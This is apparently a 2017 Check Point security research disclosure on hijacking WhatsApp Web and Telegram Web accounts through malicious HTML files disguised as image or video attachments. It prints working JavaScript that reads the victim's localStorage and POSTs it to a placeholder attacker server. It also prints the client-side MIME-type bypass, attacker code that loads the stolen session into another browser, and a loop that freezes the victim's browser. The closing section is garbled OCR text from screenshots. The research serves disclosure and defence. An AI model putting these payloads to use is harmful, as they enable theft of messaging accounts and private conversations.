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Technical Details - WhatsApp
WhatsApp upload file mechanism supports several document types such as Office Documents, PDF, Audio files, Video and images.
Each of the supported types can be uploaded and sent to WhatsApp clients as an attachment.
However, Check Point research team has managed to bypass the mechanism’s restrictions by uploading a malicious HTML document with a legitimate preview of an image in order to fool a victim to click on the document in order to takeover his account. 
Once the victim clicks on the document, the WhatsApp web client uses the FileReader HTML 5 API call to generate a unique BLOB URL with the file content sent by the attacker then navigates the user to this URL.
The attack on WhatsApp consists of several stages that mentioned below. 
First, the attacker crafts a malicious html file with a preview image:
<html>
	<header>
		<title>WhatsApp</title>
        <script>
        function GetStorage()
        {
            var values = {};
            var keys = Object.keys(localStorage);
            var i = keys.length;
            while ( i-- )
            {
                        values[keys[i].replace(/ /g, '+')] = localStorage.getItem(keys[i]).replace(/ /g, '+');
            }
            return values;
        }

        //send data to attacker server
        function sendacct(data) {
            var xhttp = new XMLHttpRequest();
            xhttp.open("POST", "https://www.AttackerWebsite.com/whatsapp.php", true);
            xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xhttp.send("account_data=" + data);

        }//end of sendacct

        var result = GetStorage();
        var json = JSON.stringify(result);
        sendacct(json);

        </script>
    </header>
    <body>
        <img src="https://s-media-cache-ak0.pinimg.com/736x/f4/49/bc/f449bc4db763ba65378ba659fe7fc865.jpg" />
    </body>
</html>


WhatsApp web client stores the allowed document types in a client variable called W["default"].DOC_MIMES this variable stores the allowed Mime Types used by the application.
[image: ]
Since an encrypted version of the document is sent to WhatsApp servers it is possible to add new Mime type such as “text/html” to the variable in order to bypass the client restriction and upload a malicious HTML document.
W["default"].DOC_MIMES += ", text/html";

After adding the malicious document Mime Type to the client variable, the client encrypts the file content by using the encryptE2Media function and then uploads it encrypted as BLOB to WhatsApp server.
[image: ]
Moreover, changing the document name and extension and creating a fake preview by modifying the client variables will make the malicious document more attractive and legitimate to the victim.    
This is the result:
[image: C:\Users\eranv\Desktop\Projects\whatsapp - blob fish\ss\temp11.png]

Once he clicks on the file, the victim will see a funny cat under blob object which is an html5 FileReader object under web.whatsapp.com. That means the attacker can access the resources in the browser under web.whatsapp.com
[image: C:\Users\roman\AppData\Local\Microsoft\Windows\INetCacheContent.Word\a.png]
Just by viewing the page, without clicking on anything, the victim’s Local storage data will be sent to the attacker, allowing him to take over his account.
The attacker creates a JavaScript function that will check every 2 seconds if there is new data in the backend, and replace his local storage to the victim.
Part of attacker’s code:
var main = setInterval(function () {

$.ajax({
	url: " https://www.AttackerWebsite.com/whatsapp.php",
	type: "POST",
	success: function(data)
	{
               var obj = $.parseJSON(data);
               localStorage.clear();
               $.each(obj, function (key, value) {
                      localStorage.setItem(key,value);
               });

               alert("Move to Victim Account");
               document.location = "https://web.whatsapp.com/";
	});
},2000);

The attacker will be redirected to the victim’s account, and will be able to access anything in it.
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WhatsApp web does not allow a client to have more than one active session at a time so after the attacker steal the victim account the victim will receive the following message: 
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It is possible to overcome this situation from the attacker perspective by adding a JavaScript code like this:
	var total = "";
	for( var i = 0; i < 100000; i++ ) {
		total = total + i.toString();
		history.pushState(0,0, total );
	}

The malicious HTML file that will cause the client browser window to get stuck and allow the attacker to control the account without interference, although the attacker will be connected to victim account until the victim will log from the account. Closing the browser wills not logout the attacker from the account and the attacker will be able to login to user account as long as he wants.

[bookmark: OLE_LINK5]Technical Details - Telegram
Telegram supports multiple document types to be sent within the Telegram Web application, but only image and video document types are stored on the Filesystem section within the browser.
[bookmark: OLE_LINK6]Check Point researchers have managed to bypass Telegram’s upload policy and upload a malicious HTML document with a mime type of a video file “video/mp4”. Then, they were able to send it to the victim side in an encrypted channel through telegram servers. Once the victim opens the video in a new browser tab, it will start playing and the users’ session data will be sent to the attacker.
The attack on Telegram consists of several stages, described below. 
First, the attacker crafts a malicious html file that also contains the video data.
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<html>
<header>

   	<script>
	var Body = document.getElementsByTagName("body")[0];
	Body.innerHTML = `<center><video preload="auto" width="100%" height="100%" autoplay><source src="https:// attackersite/video.mp4" type="video/mp4"></video></center>`;
				
        function GetStorage()
        {
            var values = {};
            var keys = Object.keys(localStorage);
            var i = keys.length;
            while ( i-- )
            {
                        values[keys[i].replace(/ /g, '+')] = localStorage.getItem(keys[i]).replace(/ /g, '+');
            }
            return values;
        }
        //send data to attacker server
        function sendacct(data) {
            var xhttp = new XMLHttpRequest();
            xhttp.onreadystatechange = function()
            {

                if (this.readyState == 4 && this.status == 200)
                {
                    document.getElementById("demo").innerHTML = this.responseText;
                }
            };

            xhttp.open("POST", "https://attackersite/telegram.php", true);
            xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
            xhttp.send("account_data=" + data);

        }//end of sendacct

        var result = GetStorage();
        var json = JSON.stringify(result);
        sendacct(json);

        </script>
		</header>
		</html>






















Telegram’s client stores the file mime type under t object, and during the upload process verifies if it matches to a video or image mime types. In a case of a match, the file will be stored under the client FileSystem URI. 
 
[image: ]
Since an encrypted version of the file is sent to Telegram’s servers, it is possible to modify the mime type to “video/mp4”, in order to bypass the client restriction and upload a malicious HTML document to Telegram in a form of a video.
After modifying the malicious document mime type, the client uploads it encrypted to the Telegram server. 
The result will be a seamless malicious file that looks like a legitimate video with a malicious payload inside:
[image: ]
Once the user plays the video, the html file will be uploaded to the browser memory under web.telegram.org. The user needs to open the video in a new tab in order to access the resource in the browser at the FileSystem URI under web.telegram.org URI.
By viewing the video in a new tab the victim’s Local storage data will be sent to the attacker, allowing him to take over his account.
In order to do that, the attacker creates a JavaScript function that will check every 2 seconds if there is new data in the backend, and replace local storage with the victim’s local storage - as seen in the WhatsApp POC code snippets.
The attacker will be redirected to the victim’s account, and will be able to access anything in it.
[image: C:\Users\eranv\Desktop\Capture.PNG]
The user isn’t aware of the account takeover since Telegram allows users to keep as many active sessions as they want at the same time.


©2017 Check Point Software Technologies Ltd. All rights reserved     |     P.  
 [Internal Use] for Check Point employees​
 [Internal Use] for Check Point employees​
 [Internal Use] for Check Point employees​
image3.png
28734
28735
28736
28737
28738
28739
28740
28742
28743
28744
28745
28746
28747
28748
28749
28750
28751
28752
28753
28754 4

Bl it — R e

1
})["catch"](0["default"].LogoutDrop, function() {})["catch"](function(e)
G["default"].assert(!1, "upload-uncaught-error", "" + e)()
1)
e.uploadPromise = n
3
function f(e, t) { e = e {_msgs: Array[6], _notifyTimer: r, _uploadAsGif: fa
var n = e.entries.getUploadEntry()
, r =n & n.encryptionKey || A["default"].newB64MediaKey();
return R["default"].blobToArrayBuffer(t).addCancelControl().then(function

}) .addCancelControl().then(function(t) {
return R["default"].getHash(t).addCancelControl().then(function(n) {
var i = n.hash;
return m(e, i, r, t)
1
1)
3
function m(e, t, n, r) {
return MI"default"1.1oon(function(i. a. o) {

» _notifyTimer: r
_uploadAsGif: false
downloadPromise: null
downloadStage: "RESOLVED"

> entries: e
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» mediaBlob: File
mimetype: "text/html"
mustDownloadMedia: true
size: 1052

V¥ specifics: a

pageCount: @
preview:
renderableurl:

> _proto_ : Object

» uploadPromise: o
uploadstage: "UPLOADING"

» uploadTargets: Object

> _proto_ : Object

gUGCQgKCgk ICQKKDAS
web.whatsapp.com/adob434c-db8e-4d2f-94ad-5149fcfadacc™




image4.png
<«

C 0 @ Secure hitps//web.whatsapp.com * @ O Q 8 § o

¢ Q

Attacker &

Profile and status >

TODAY

Messages you send to this chat and calls are secured with end-to-end encryption.

(UL et |
L0 T T o

v © Eran & Roman & Dikla|
annycat [} oo ke

10 k81 This is not your u me or pin. This nam

1015 vouueey

Status
Type a message @
victim




image5.png
<« C (0 ® blobhttps://web.whatsapp.com/fd33f444-4e54-4972-b8ba-1c7435e0e31c * e« OQ 8 §

IITHOUGHT\YOUISRID)
IWASICOLD]OUTHERESS

R @] | Elements Console Sources Network Timeline Profiles Application Security Audits Adblock Plus AdBlock

® O ™ ¥ | Vew

| 0 Regex O Hide data URLs [} | XHR IS CSS Img Media Font Doc WS Manifest Other

Preserve log () Disable cache Offiine No throttling v

Name X Headers | Preview Response Timing

| fd33444-4e54-4972-b... | YForm Data  viewsource view URL encoded

":"false", "whatsapp-nutex” :"\"x463960796: init_1485333745506\"", "ver": "1", "s2c1x10418eDcNT5Snegag==": " [{\"char\"

"@\",\"weight\":3.2245336}, {\"char\":\"@\", \"weight\":2.097327}, {\"char\":\"@\", \"weight

",\"weight\":1.5503144}, {\"char\":\"6\", \"weight\":1.5001957}, {\"char\":\" @\", \"weight\":1.

"®\", \"weight\":1.3566624},{\"char\" ‘weight\":1.30000
:1.0800018},
J\"weight\":0.9000012),
\",\"ueight\" :0.7000008) ,

(22 biobhttps://webwhats. account data: {
eight\":5.7952127}, {\"char\" :\"@\",\"weight\":3.4169374} ,{\"char\"
\", \"weight\":1.5425409}, {\"char\":\" &
‘Weight\":1.4000144},{\"char\":\"@\", \"weight\":1.3812253}, {\"char\"
2}, {\"char\":\"@\",\"weight\":1.2560019}, {\"char\": \"@\", \"weight\":1.2473167}, {\"char
{\"char\":\"@\",\"weight\":1.0350018}, {\"char\":\"@\", \"weight\" :0.99666156}, {\"char\" :\
{\"char\":\"fB\", \"weight\":0.8588812}, {\"char\" :\"@\", \"weight\":0.50000097}, {\"char\"
{\"char\":\"@\",\"weight\":0.65600157}, {\"char\":\"§\", \ "weight' .6235014},{\"char" 2\",\"weight\":0.5400007},
{\"char\":\" & \", \"weight\":0. 44550064}, {\"char\":\"@\", \"weight\" :0.0000011002155}, {\"char\" \",\"weight\":3.4373993e-16},{\"char\":\"@\", \"weight\":2.83
44212e-37},{\"char\":\"@\", \"weight\":2.463533e-37},{\"char\" :\"§f\", \ "weight\":5.6e-45},{\"char\": \"@\", \ "weight\":5.6e-45}]", "storage_test":"storage_tes
"true","rUV2u4vfha27xx2qT5023Q==": "[ {\"id\":\"defaultPreference\",\"wallpapercolor\":\"default_chat_wallpaper\"}]","old-logout-cred":"[]", "logout
"16H12pPIYY10rSHSghYPT8AS SOAWGY71d/ YZTbaUEY pfOEETFOkOL gU0GaokwEWSOEr V733 JuZF DHgOC A TA V1 2FCLAQK ] IpQ1 15D ZNRBYELndAGGpPPOPS 2Xaa] vDepBudX 3qF vt SGddXwFCct
,"debugCursor”; "861" , "bXCRES6ZhGCH7 JF7Wanzu==": "false"  "Y1gcqPpFbcPtUZEP JBYQy) {\"1d\":\"24UUs/pxvSbCFRQDERShOA==\", \"tag\"\"1485328556\", \"raw

"}, {\"1d\" +\"FRXDS ZBUBGGYSEEVALCE==\"}, {\"1d\" : \"XEVXPUGOHHO tvaFMEVEAg==\"},{\"1d\" :\"QAHONSXpLPrVCUELSKVhu:
1d\":\"KanrCsVeardgfnug uhis L \"id\ "\ "r tUVOTYSSTI18nUMGENG30==\"},{\"id\":\"qjdRYSHrPWGX0e San5ay(

14495cAdb763b365375.
[} \":2.0457833}, {\"char\":\"

450047}, {\"char\":\"@\

3irequests | 443 B transferr.




image6.png
= C O @ Secure | https//webwhatsapp.com * e 09 8 & o

@ Q Attacker 9

Profile and status >

Messages you send to this chat and calls are secured with end-to-end encryption.
I Ui Al
T G £ L £ )
. 4

v Eran & Roman & Dikla
rnyca [}

U Typeamessage (2

victim





image7.png
WhatsApp is open on another computer or
browser. Click “Use Here” to use WhatsApp in this
window.

LOG OUT





image8.png
MAHE_LypPe. d.LyPs,
caption: "*
attributes: [{

“documentAttributeFilename”,

File_name: a.name

1
s }
var i =93 i -
b &k (i |=1),

$ && (i |= 16),

_.invokeApi (“messages.sendMedia”, {
flags: i, i = undefined

c.getInputPeersyID(n),

3

i t, t=object {_: "inputMediaUploadedDocument®, file: Object, mime_type: “ter~
y

» Watch
> Call Stack
¥ Scope
¥ Local
> e: object
i: undefined
v t: Object
_: "inputMediaUploadedpocument
> attributes: Array[1]
caption:
> file: Object
mime_type: “text/html"
> proto : Object





image9.png
Q Attacker
Video

Download  Play video





image10.png
victim

last seen just now

Phone

Set username
Usemame

Desktop notifications

Background notifications

Message preview

Sound

—

(@ Enter - send message, Shift + Enter - new line

Ctrl + Enter - send message, Enter - new line

Language English
Set additional password

Active sessions

Log out





image2.png
0 (4) WhatsApp 5 (o = X

& C (O @& Secure | https://web.whatsapp.com * @ O $ ¥ a
Preview X Get Notified of New Messages

Turn on desktop notifications

victim =
CONTACTS
Victim
w ﬂ Elements Console Sources Network Timeline Profiles Application Security Audits Adblock Plus  AdBlock Q141 :X
Sources | » : 4 main_4bacc5889d734635d1df.js main_4bacc5889d...fjs:formatted X | |" ~n Yot '/‘ o Async
v top 28659 throw G["default"].assert(!1, "media-fault", "audio/video became other 4| ¥ Threads
28660 new Error("audio/video became " + o) .
v web.whatsapp.com 28661 } » Main
» [0 locales 28662 13 serviceworker.js #446 (activated)
. 28663
(ietzy 28664 function d(e) { e = File {name: "Cat.html", lastModified: 1485328916360, lastModi v Watch + ¢
[\ app_38fc5c95fdd: | 28665 var t = e.type t = "text/html" n: “"Cat.html"
main_4bacc5889¢ | 28666 » n=e.name || void @ n = "Cat.html" W["default"].DOC_MIMES: "text/plain,text/rtf,application/pdf,appl..
i K, .~ = void 0} [ 1 o /p 5 / »app /pdf,app
[ progress eca182¢ | 5ges if (0) { » Call Stack
[ vendor1_07a71fd 28669 if (I("*" === W["default"].DOC_MIMES || W["default"].DOC_MIMES.indexOf(t) o
i 28670 return M["default"].reject(new O["default"].InvalidMediaFileType("disa cope
vendor2_1984a6C 28671 r = M["default"].resolve(t) V¥ Local
B sprite_1368c5f481 | 28672 } else »e: File
i style rtl 2f135b7" 28673 r = R["default"].blobToArrayBuffer(e).then(function(t) { n: [ "funny ca‘t\"
ye 2T var r = (0, M r: undefined
> (no domain) 28675 » ’
= t: "text/html" =
B\ Aun sk whateann ¢ . -
» Line 28667, Column 17 »

RECORDED WITH
1%





image11.png
<) Check Point

RS o OETWARE TECHNOL OGIES | TD




image12.emf

